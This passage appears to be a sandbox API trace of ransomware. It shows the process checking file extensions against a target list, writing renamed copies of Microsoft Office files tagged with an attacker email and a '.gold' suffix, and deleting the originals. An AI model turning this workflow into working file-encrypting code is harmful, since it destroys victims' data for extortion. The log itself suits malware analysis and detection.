(lpString1=".bz2", lpString2=".DLL") returned -1 [0105.746] lstrlenW (lpString=".7z") returned 3 [0105.746] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0105.746] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.DLL") returned 58 [0105.746] lstrlenW (lpString=".dbf") returned 4 [0105.746] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0105.746] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.DLL") returned 58 [0105.746] lstrlenW (lpString=".1cd") returned 4 [0105.746] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0105.746] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.DLL") returned 58 [0105.746] lstrlenW (lpString=".jpg") returned 4 [0105.746] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0105.746] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.DLL") returned 58 [0105.746] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.DLL") returned 58 [0105.746] lstrlenW (lpString=".doc") returned 4 [0105.746] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0105.746] lstrlenW (lpString=".docx") returned 5 [0105.746] lstrcmpiW (lpString1=".docx", lpString2="L.DLL") returned -1 [0105.747] lstrlenW (lpString=".pdf") returned 4 [0105.747] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0105.747] lstrlenW (lpString=".xls") returned 4 [0105.747] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0105.747] lstrlenW (lpString=".xlsx") returned 5 [0105.747] lstrcmpiW (lpString1=".xlsx", lpString2="L.DLL") returned -1 [0105.747] lstrlenW (lpString=".ppt") returned 4 [0105.747] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0105.747] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.DLL") returned 58 [0105.747] lstrlenW (lpString=".zip") returned 4 [0105.747] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0105.747] lstrlenW (lpString=".rar") returned 4 [0105.747] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0105.747] lstrlenW (lpString=".bz2") returned 4 [0105.747] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0105.747] lstrlenW (lpString=".7z") returned 3 [0105.747] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0105.747] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.DLL") returned 58 [0105.747] lstrlenW (lpString=".dbf") returned 4 [0105.747] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0105.747] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.DLL") returned 58 [0105.747] lstrlenW (lpString=".1cd") returned 4 [0105.747] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0105.747] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.DLL") returned 58 [0105.747] lstrlenW (lpString=".jpg") returned 4 [0105.747] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0105.747] lstrcmpiW (lpString1=".IDX_DLL", lpString2=".gold") returned 1 [0105.747] lstrlenW (lpString="PPINTL.DLL.IDX_DLL") returned 18 [0105.747] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.DLL.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ppintl.dll.idx_dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0105.748] GetFileSizeEx (in: hFile=0x3b0, lpFileSize=0x301ff1c | out: lpFileSize=0x301ff1c*=38272) returned 1 [0105.748] CloseHandle (hObject=0x3b0) returned 1 [0105.749] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.DLL.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ppintl.dll.idx_dll")) returned 0x20 [0105.749] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.DLL.IDX_DLL.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ppintl.dll.idx_dll.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0105.749] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.DLL.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ppintl.dll.idx_dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0105.750] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0105.750] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0105.750] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.DLL.IDX_DLL.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ppintl.dll.idx_dll.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0105.750] GetLastError () returned 0x0 [0105.750] ReadFile (in: hFile=0x3b0, lpBuffer=0x4210020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fed4, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesRead=0x301fed4*=0x9580, lpOverlapped=0x0) returned 1 [0105.752] WriteFile (in: hFile=0x38c, lpBuffer=0x4210020*, nNumberOfBytesToWrite=0x9590, lpNumberOfBytesWritten=0x301fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesWritten=0x301fc9c*=0x9590, lpOverlapped=0x0) returned 1 [0105.753] ReadFile (in: hFile=0x3b0, lpBuffer=0x4210020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fed4, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesRead=0x301fed4*=0x0, lpOverlapped=0x0) returned 1 [0105.753] WriteFile (in: hFile=0x38c, lpBuffer=0x4210020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x301fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesWritten=0x301fc9c*=0xf8, lpOverlapped=0x0) returned 1 [0105.753] SetEndOfFile (hFile=0x38c) returned 1 [0105.753] CloseHandle (hObject=0x38c) returned 1 [0105.753] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0105.753] SetEndOfFile (hFile=0x3b0) returned 1 [0105.755] CloseHandle (hObject=0x3b0) returned 1 [0105.756] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.DLL.IDX_DLL.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0105.756] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.DLL.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ppintl.dll.idx_dll")) returned 1 [0105.756] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.DLL.IDX_DLL") returned 66 [0105.756] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.DLL.IDX_DLL") returned 66 [0105.756] lstrlenW (lpString=".doc") returned 4 [0105.756] lstrcmpiW (lpString1=".doc", lpString2="_DLL") returned -1 [0105.756] lstrlenW (lpString=".docx") returned 5 [0105.756] lstrcmpiW (lpString1=".docx", lpString2="X_DLL") returned -1 [0105.756] lstrlenW (lpString=".pdf") returned 4 [0105.756] lstrcmpiW (lpString1=".pdf", lpString2="_DLL") returned -1 [0105.757] lstrlenW (lpString=".xls") returned 4 [0105.757] lstrcmpiW (lpString1=".xls", lpString2="_DLL") returned -1 [0105.757] lstrlenW (lpString=".xlsx") returned 5 [0105.757] lstrcmpiW (lpString1=".xlsx", lpString2="X_DLL") returned -1 [0105.757] lstrlenW (lpString=".ppt") returned 4 [0105.757] lstrcmpiW (lpString1=".ppt", lpString2="_DLL") returned -1 [0105.757] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.DLL.IDX_DLL") returned 66 [0105.757] lstrlenW (lpString=".zip") returned 4 [0105.757] lstrcmpiW (lpString1=".zip", lpString2="_DLL") returned -1 [0105.757] lstrlenW (lpString=".rar") returned 4 [0105.757] lstrcmpiW (lpString1=".rar", lpString2="_DLL") returned -1 [0105.757] lstrlenW (lpString=".bz2") returned 4 [0105.757] lstrcmpiW (lpString1=".bz2", lpString2="_DLL") returned -1 [0105.757] lstrlenW (lpString=".7z") returned 3 [0105.757] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0105.757] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.DLL.IDX_DLL") returned 66 [0105.757] lstrlenW (lpString=".dbf") returned 4 [0105.757] lstrcmpiW (lpString1=".dbf", lpString2="_DLL") returned -1 [0105.757] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.DLL.IDX_DLL") returned 66 [0105.757] lstrlenW (lpString=".1cd") returned 4 [0105.757] lstrcmpiW (lpString1=".1cd", lpString2="_DLL") returned -1 [0105.757] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.DLL.IDX_DLL") returned 66 [0105.757] lstrlenW (lpString=".jpg") returned 4 [0105.757] lstrcmpiW (lpString1=".jpg", lpString2="_DLL") returned -1 [0105.757] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.DLL.IDX_DLL") returned 66 [0105.757] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.DLL.IDX_DLL") returned 66 [0105.757] lstrlenW (lpString=".doc") returned 4 [0105.757] lstrcmpiW (lpString1=".doc", lpString2="_DLL") returned -1 [0105.757] lstrlenW (lpString=".docx") returned 5 [0105.757] lstrcmpiW (lpString1=".docx", lpString2="X_DLL") returned -1 [0105.757] lstrlenW (lpString=".pdf") returned 4 [0105.757] lstrcmpiW (lpString1=".pdf", lpString2="_DLL") returned -1 [0105.757] lstrlenW (lpString=".xls") returned 4 [0105.757] lstrcmpiW (lpString1=".xls", lpString2="_DLL") returned -1 [0105.757] lstrlenW (lpString=".xlsx") returned 5 [0105.757] lstrcmpiW (lpString1=".xlsx", lpString2="X_DLL") returned -1 [0105.757] lstrlenW (lpString=".ppt") returned 4 [0105.757] lstrcmpiW (lpString1=".ppt", lpString2="_DLL") returned -1 [0105.757] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.DLL.IDX_DLL") returned 66 [0105.757] lstrlenW (lpString=".zip") returned 4 [0105.757] lstrcmpiW (lpString1=".zip", lpString2="_DLL") returned -1 [0105.757] lstrlenW (lpString=".rar") returned 4 [0105.758] lstrcmpiW (lpString1=".rar", lpString2="_DLL") returned -1 [0105.758] lstrlenW (lpString=".bz2") returned 4 [0105.758] lstrcmpiW (lpString1=".bz2", lpString2="_DLL") returned -1 [0105.758] lstrlenW (lpString=".7z") returned 3 [0105.758] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0105.758] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.DLL.IDX_DLL") returned 66 [0105.758] lstrlenW (lpString=".dbf") returned 4 [0105.758] lstrcmpiW (lpString1=".dbf", lpString2="_DLL") returned -1 [0105.758] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.DLL.IDX_DLL") returned 66 [0105.758] lstrlenW (lpString=".1cd") returned 4 [0105.758] lstrcmpiW (lpString1=".1cd", lpString2="_DLL") returned -1 [0105.758] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.DLL.IDX_DLL") returned 66 [0105.758] lstrlenW (lpString=".jpg") returned 4 [0105.758] lstrcmpiW (lpString1=".jpg", lpString2="_DLL") returned -1 [0105.758] lstrcmpiW (lpString1=".IDX_DLL", lpString2=".gold") returned 1 [0105.758] lstrlenW (lpString="PPINTL.REST.IDX_DLL") returned 19 [0105.758] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.REST.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ppintl.rest.idx_dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0105.758] GetFileSizeEx (in: hFile=0x3b0, lpFileSize=0x301ff1c | out: lpFileSize=0x301ff1c*=139648) returned 1 [0105.758] CloseHandle (hObject=0x3b0) returned 1 [0105.759] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.REST.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ppintl.rest.idx_dll")) returned 0x20 [0105.759] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.REST.IDX_DLL.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ppintl.rest.idx_dll.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0105.759] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.REST.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ppintl.rest.idx_dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0105.759] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0105.759] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0105.759] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.REST.IDX_DLL.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ppintl.rest.idx_dll.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0105.761] GetLastError () returned 0x0 [0105.761] ReadFile (in: hFile=0x3b0, lpBuffer=0x4210020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fed4, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesRead=0x301fed4*=0x22180, lpOverlapped=0x0) returned 1 [0105.765] WriteFile (in: hFile=0x38c, lpBuffer=0x4210020*, nNumberOfBytesToWrite=0x22190, lpNumberOfBytesWritten=0x301fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesWritten=0x301fc9c*=0x22190, lpOverlapped=0x0) returned 1 [0105.767] ReadFile (in: hFile=0x3b0, lpBuffer=0x4210020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fed4, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesRead=0x301fed4*=0x0, lpOverlapped=0x0) returned 1 [0105.767] WriteFile (in: hFile=0x38c, lpBuffer=0x4210020*, nNumberOfBytesToWrite=0xfa, lpNumberOfBytesWritten=0x301fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesWritten=0x301fc9c*=0xfa, lpOverlapped=0x0) returned 1 [0105.767] SetEndOfFile (hFile=0x38c) returned 1 [0105.767] CloseHandle (hObject=0x38c) returned 1 [0105.768] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0105.768] SetEndOfFile (hFile=0x3b0) returned 1 [0105.771] CloseHandle (hObject=0x3b0) returned 1 [0105.771] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.REST.IDX_DLL.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0105.771] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.REST.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ppintl.rest.idx_dll")) returned 1 [0105.772] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.REST.IDX_DLL") returned 67 [0105.772] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.REST.IDX_DLL") returned 67 [0105.772] lstrlenW (lpString=".doc") returned 4 [0105.772] lstrcmpiW (lpString1=".doc", lpString2="_DLL") returned -1 [0105.772] lstrlenW (lpString=".docx") returned 5 [0105.772] lstrcmpiW (lpString1=".docx", lpString2="X_DLL") returned -1 [0105.772] lstrlenW (lpString=".pdf") returned 4 [0105.772] lstrcmpiW (lpString1=".pdf", lpString2="_DLL") returned -1 [0105.772] lstrlenW (lpString=".xls") returned 4 [0105.772] lstrcmpiW (lpString1=".xls", lpString2="_DLL") returned -1 [0105.772] lstrlenW (lpString=".xlsx") returned 5 [0105.772] lstrcmpiW (lpString1=".xlsx", lpString2="X_DLL") returned -1 [0105.772] lstrlenW (lpString=".ppt") returned 4 [0105.772] lstrcmpiW (lpString1=".ppt", lpString2="_DLL") returned -1 [0105.772] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.REST.IDX_DLL") returned 67 [0105.772] lstrlenW (lpString=".zip") returned 4 [0105.772] lstrcmpiW (lpString1=".zip", lpString2="_DLL") returned -1 [0105.772] lstrlenW (lpString=".rar") returned 4 [0105.772] lstrcmpiW (lpString1=".rar", lpString2="_DLL") returned -1 [0105.772] lstrlenW (lpString=".bz2") returned 4 [0105.772] lstrcmpiW (lpString1=".bz2", lpString2="_DLL") returned -1 [0105.772] lstrlenW (lpString=".7z") returned 3 [0105.772] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0105.772] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.REST.IDX_DLL") returned 67 [0105.772] lstrlenW (lpString=".dbf") returned 4 [0105.772] lstrcmpiW (lpString1=".dbf", lpString2="_DLL") returned -1 [0105.772] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.REST.IDX_DLL") returned 67 [0105.772] lstrlenW (lpString=".1cd") returned 4 [0105.772] lstrcmpiW (lpString1=".1cd", lpString2="_DLL") returned -1 [0105.772] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.REST.IDX_DLL") returned 67 [0105.772] lstrlenW (lpString=".jpg") returned 4 [0105.772] lstrcmpiW (lpString1=".jpg", lpString2="_DLL") returned -1 [0105.772] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.REST.IDX_DLL") returned 67 [0105.772] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.REST.IDX_DLL") returned 67 [0105.772] lstrlenW (lpString=".doc") returned 4 [0105.772] lstrcmpiW (lpString1=".doc", lpString2="_DLL") returned -1 [0105.772] lstrlenW (lpString=".docx") returned 5 [0105.773] lstrcmpiW (lpString1=".docx", lpString2="X_DLL") returned -1 [0105.773] lstrlenW (lpString=".pdf") returned 4 [0105.773] lstrcmpiW (lpString1=".pdf", lpString2="_DLL") returned -1 [0105.773] lstrlenW (lpString=".xls") returned 4 [0105.773] lstrcmpiW (lpString1=".xls", lpString2="_DLL") returned -1 [0105.773] lstrlenW (lpString=".xlsx") returned 5 [0105.773] lstrcmpiW (lpString1=".xlsx", lpString2="X_DLL") returned -1 [0105.773] lstrlenW (lpString=".ppt") returned 4 [0105.773] lstrcmpiW (lpString1=".ppt", lpString2="_DLL") returned -1 [0105.773] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.REST.IDX_DLL") returned 67 [0105.773] lstrlenW (lpString=".zip") returned 4 [0105.773] lstrcmpiW (lpString1=".zip", lpString2="_DLL") returned -1 [0105.773] lstrlenW (lpString=".rar") returned 4 [0105.773] lstrcmpiW (lpString1=".rar", lpString2="_DLL") returned -1 [0105.773] lstrlenW (lpString=".bz2") returned 4 [0105.773] lstrcmpiW (lpString1=".bz2", lpString2="_DLL") returned -1 [0105.773] lstrlenW (lpString=".7z") returned 3 [0105.773] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0105.773] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.REST.IDX_DLL") returned 67 [0105.773] lstrlenW (lpString=".dbf") returned 4 [0105.773] lstrcmpiW (lpString1=".dbf", lpString2="_DLL") returned -1 [0105.773] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.REST.IDX_DLL") returned 67 [0105.773] lstrlenW (lpString=".1cd") returned 4 [0105.773] lstrcmpiW (lpString1=".1cd", lpString2="_DLL") returned -1 [0105.773] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.REST.IDX_DLL") returned 67 [0105.773] lstrlenW (lpString=".jpg") returned 4 [0105.773] lstrcmpiW (lpString1=".jpg", lpString2="_DLL") returned -1 [0105.773] lstrcmpiW (lpString1=".VSL", lpString2=".gold") returned 1 [0105.773] lstrlenW (lpString="PROPRPT.VSL") returned 11 [0105.773] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROPRPT.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\proprpt.vsl"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0105.953] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x301ff1c | out: lpFileSize=0x301ff1c*=137096) returned 1 [0105.953] CloseHandle (hObject=0x39c) returned 1 [0105.953] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROPRPT.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\proprpt.vsl")) returned 0x20 [0105.958] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROPRPT.VSL.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\proprpt.vsl.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0105.958] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROPRPT.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\proprpt.vsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0105.958] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0105.959] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0105.959] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROPRPT.VSL.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\proprpt.vsl.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0105.959] GetLastError () returned 0x0 [0105.959] ReadFile (in: hFile=0x39c, lpBuffer=0x4210020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fed4, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesRead=0x301fed4*=0x21788, lpOverlapped=0x0) returned 1 [0105.967] WriteFile (in: hFile=0x3ac, lpBuffer=0x4210020*, nNumberOfBytesToWrite=0x21790, lpNumberOfBytesWritten=0x301fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesWritten=0x301fc9c*=0x21790, lpOverlapped=0x0) returned 1 [0105.969] ReadFile (in: hFile=0x39c, lpBuffer=0x4210020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fed4, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesRead=0x301fed4*=0x0, lpOverlapped=0x0) returned 1 [0105.969] WriteFile (in: hFile=0x3ac, lpBuffer=0x4210020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x301fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesWritten=0x301fc9c*=0xea, lpOverlapped=0x0) returned 1 [0105.969] SetEndOfFile (hFile=0x3ac) returned 1 [0105.969] CloseHandle (hObject=0x3ac) returned 1 [0105.969] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0105.969] SetEndOfFile (hFile=0x39c) returned 1 [0105.972] CloseHandle (hObject=0x39c) returned 1 [0105.972] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROPRPT.VSL.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0106.035] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROPRPT.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\proprpt.vsl")) returned 1 [0106.035] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROPRPT.VSL") returned 59 [0106.035] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROPRPT.VSL") returned 59 [0106.035] lstrlenW (lpString=".doc") returned 4 [0106.035] lstrcmpiW (lpString1=".doc", lpString2=".VSL") returned -1 [0106.035] lstrlenW (lpString=".docx") returned 5 [0106.035] lstrcmpiW (lpString1=".docx", lpString2="T.VSL") returned -1 [0106.035] lstrlenW (lpString=".pdf") returned 4 [0106.035] lstrcmpiW (lpString1=".pdf", lpString2=".VSL") returned -1 [0106.035] lstrlenW (lpString=".xls") returned 4 [0106.035] lstrcmpiW (lpString1=".xls", lpString2=".VSL") returned 1 [0106.035] lstrlenW (lpString=".xlsx") returned 5 [0106.035] lstrcmpiW (lpString1=".xlsx", lpString2="T.VSL") returned -1 [0106.035] lstrlenW (lpString=".ppt") returned 4 [0106.035] lstrcmpiW (lpString1=".ppt", lpString2=".VSL") returned -1 [0106.035] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROPRPT.VSL") returned 59 [0106.035] lstrlenW (lpString=".zip") returned 4 [0106.035] lstrcmpiW (lpString1=".zip", lpString2=".VSL") returned 1 [0106.035] lstrlenW (lpString=".rar") returned 4 [0106.036] lstrcmpiW (lpString1=".rar", lpString2=".VSL") returned -1 [0106.036] lstrlenW (lpString=".bz2") returned 4 [0106.036] lstrcmpiW (lpString1=".bz2", lpString2=".VSL") returned -1 [0106.036] lstrlenW (lpString=".7z") returned 3 [0106.036] lstrcmpiW (lpString1=".7z", lpString2="VSL") returned -1 [0106.036] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROPRPT.VSL") returned 59 [0106.036] lstrlenW (lpString=".dbf") returned 4 [0106.036] lstrcmpiW (lpString1=".dbf", lpString2=".VSL") returned -1 [0106.036] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROPRPT.VSL") returned 59 [0106.036] lstrlenW (lpString=".1cd") returned 4 [0106.036] lstrcmpiW (lpString1=".1cd", lpString2=".VSL") returned -1 [0106.036] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROPRPT.VSL") returned 59 [0106.036] lstrlenW (lpString=".jpg") returned 4 [0106.036] lstrcmpiW (lpString1=".jpg", lpString2=".VSL") returned -1 [0106.036] lstrlenW (lpString="C:\\Program Files\\Microsoft 